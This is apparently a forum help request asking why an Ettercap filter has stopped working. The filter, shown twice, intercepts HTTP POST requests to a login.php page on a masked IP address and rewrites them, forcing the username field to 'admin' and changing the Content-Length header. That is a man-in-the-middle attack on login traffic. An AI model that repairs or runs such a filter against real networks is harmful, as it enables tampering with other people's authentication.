if (search(DATA.data, "login.php")){
msg("Call to the login page");
pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41");
msg("Content modified");
if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){
msg("Data modified\n");
}
msg("Done !\n");
}
}
}
I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.
Hi, I’m trying to get this Ettercap filter to work which has worked in the past but it seems Ettercap no longer accepts it?
if (ip.dst == ‘192.###.##.#' && tcp.dst == 80) { if(search(DATA.data, "POST")){
msg("request POST");
if (search(DATA.data, "login.php")){ msg("Call to the login page"); pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41"); msg("Content modified");
if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){ msg("Data modified\n"); }
msg("Done !\n"); } } }
I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.
Please helpp!!
Sincerely, Marco